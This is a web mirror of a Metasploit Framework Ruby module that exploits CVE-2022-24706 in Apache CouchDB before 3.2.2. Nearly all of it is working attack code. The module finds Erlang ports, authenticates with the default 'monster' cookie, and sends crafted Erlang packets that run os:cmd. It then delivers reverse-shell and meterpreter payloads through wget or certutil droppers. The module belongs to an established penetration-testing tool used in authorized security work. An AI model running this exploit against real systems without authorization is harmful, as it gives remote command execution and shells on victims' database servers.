Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_couchdb_erlang_rce.rb
28722 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::Retry
12
include Msf::Exploit::Powershell
13
prepend Msf::Exploit::Remote::AutoCheck
14
require 'msf/core/exploit/powershell'
15
require 'digest'
16
17
# Constants required for communicating over the Erlang protocol defined here:
18
# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
19
EPM_NAME_CMD = "\x00\x01\x6e".freeze
20
NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze
21
CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze
22
CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze
23
COOKIE = 'monster'.freeze
24
COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze
25
26
def initialize(info = {})
27
super(
28
update_info(
29
info,
30
'Name' => 'Apache Couchdb Erlang RCE',
31
'Description' => %q{
32
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without
33
authenticating and gain admin privileges.
34
},
35
'Author' => [
36
'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery
37
'1F98D', # Erlang Cookie RCE exploit
38
'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit
39
'_sadshade', # Apache CouchDB Erlang Cookie exploit
40
'jheysel-r7', # Msf Module
41
],
42
'References' => [
43
[ 'EDB', '49418' ],
44
[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],
45
[ 'CVE', '2022-24706'],
46
],
47
'License' => MSF_LICENSE,
48
'Payload' => {
49
'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method
50
},
51
'Privileged' => false,
52
'Targets' => [
53
[
54
'Unix Command',
55
{
56
'Platform' => 'unix',
57
'Arch' => ARCH_CMD,
58
'Type' => :unix_cmd,
59
'DefaultOptions' => {
60
'PAYLOAD' => 'cmd/unix/reverse_openssl'
61
}
62
}
63
],
64
[
65
'Linux Dropper',
66
{
67
'Platform' => 'linux',
68
'Arch' => [ARCH_X86, ARCH_X64],
69
'Type' => :linux_dropper,
70
'CmdStagerFlavor' => :wget,
71
'DefaultOptions' => {
72
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
73
}
74
}
75
],
76
[
77
'Windows Command',
78
{
79
'Platform' => 'win',
80
'Arch' => ARCH_CMD,
81
'Type' => :win_cmd,
82
'DefaultOptions' => {
83
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
84
}
85
}
86
],
87
[
88
'Windows Dropper',
89
{
90
'Arch' => [ARCH_X86, ARCH_X64],
91
'Type' => :win_dropper,
92
'CmdStagerFlavor' => :certutil,
93
'DefaultOptions' => {
94
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
95
}
96
}
97
],
98
[
99
'PowerShell Stager',
100
{
101
'Arch' => [ARCH_X86, ARCH_X64],
102
'Type' => :psh_stager,
103
'CmdStagerFlavor' => :certutil,
104
'DefaultOptions' => {
105
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
106
}
107
}
108
]
109
],
110
'DefaultTarget' => 0,
111
'DisclosureDate' => '2022-01-21',
112
'Notes' => {
113
'Stability' => [CRASH_SAFE],
114
'Reliability' => [REPEATABLE_SESSION],
115
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
116
}
117
)
118
)
119
120
register_options(
121
[
122
Opt::RPORT(4369)
123
]
124
)
125
end
126
127
def check
128
erlang_ports = get_erlang_ports
129
# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
130
return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?
131
132
erlang_ports.each do |erlang_port|
133
# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
134
# successful and the target as well as the specific socket used in this instance is vulnerable
135
sock = connect_to_erlang_server(erlang_port.to_i)
136
if sock.instance_of?(Socket)
137
@vulnerable_socket = sock
138
return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
139
else
140
next
141
end
142
end
143
Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
144
end
145
146
# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
147
#
148
# @return [Array] An array of port numbers for discovered Erlang Servers.
149
def get_erlang_ports
150
erlang_ports = []
151
begin
152
print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")
153
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })
154
# request Erlang nodes
155
sock.put(EPM_NAME_CMD)
156
sleep datastore['WfsDelay']
157
res = sock.get_once
158
unless res && res.include?("\x00\x00\x11\x11name couchdb")
159
print_error('Did not find any Erlang nodes')
160
return erlang_ports
161
end
162
163
print_status('Successfully found EDPM socket')
164
res.each_line do |line|
165
erlang_ports << line.match(/\s(\d+$)/)[0]
166
end
167
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
168
print_error("Error connecting to EDPM: #{e.class} #{e}")
169
disconnect
170
return erlang_ports
171
end
172
erlang_ports
173
end
174
175
# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the
176
# default erlang cookie value in Apache CouchDB installations before 3.2.2
177
#
178
# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server
179
def connect_to_erlang_server(erlang_port)
180
print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')
181
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })
182
print_status('Connection successful')
183
challenge = retry_until_truthy(timeout: 60) do
184
sock.put(NAME_MSG)
185
sock.get_once(5) # ok message
186
sock.get_once
187
end
188
# The expected successful response from the target should start with \x00\x1C
189
unless challenge && challenge.include?("\x00\x1C")
190
print_error('Connecting to the Erlang server was unsuccessful')
191
return
192
end
193
194
challenge = challenge[9..12].unpack('N*')[0]
195
challenge_reply = "\x00\x15r\x01\x02\x03\x04"
196
md5 = Digest::MD5.new
197
md5.update(COOKIE + challenge.to_s)
198
challenge_reply << [md5.hexdigest].pack('H*')
199
sock.put(challenge_reply)
200
sleep datastore['WfsDelay']
201
challenge_response = sock.get_once
202
203
if challenge_response.nil?
204
print_error('Authentication was unsuccessful')
205
return
206
end
207
print_status('Erlang challenge and response completed successfully')
208
209
sock
210
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
211
print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")
212
disconnect
213
return
214
end
215
216
def compile_cmd(cmd)
217
msg = ''
218
msg << COMMAND_PREFIX
219
msg << [cmd.length].pack('S>')
220
msg << cmd
221
msg << "jw\x04user"
222
payload = ("\x70" + CTRL_DATA + msg)
223
([payload.size].pack('N*') + payload)
224
end
225
226
def execute_command(cmd, opts = {})
227
payload = compile_cmd(cmd)
228
print_status('Sending payload... ')
229
opts[:sock].put(payload)
230
sleep datastore['WfsDelay']
231
end
232
233
def exploit_socket(sock)
234
case target['Type']
235
when :unix_cmd, :win_cmd
236
execute_command(payload.encoded, { sock: sock })
237
when :linux_dropper, :win_dropper
238
execute_cmdstager({ sock: sock })
239
when :psh_stager
240
execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })
241
else
242
fail_with(Failure::BadConfig, 'Invalid target specified')
243
end
244
end
245
246
def exploit
247
# If the check method has already been run, use the vulnerable socket that has already been identified
248
if @vulnerable_socket
249
exploit_socket(@vulnerable_socket)
250
else
251
erlang_ports = get_erlang_ports
252
fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)
253
254
erlang_ports.each do |erlang_port|
255
sock = connect_to_erlang_server(erlang_port.to_i)
256
next unless sock.instance_of?(Socket)
257
258
exploit_socket(sock)
259
end
260
end
261
end
262
end
263
264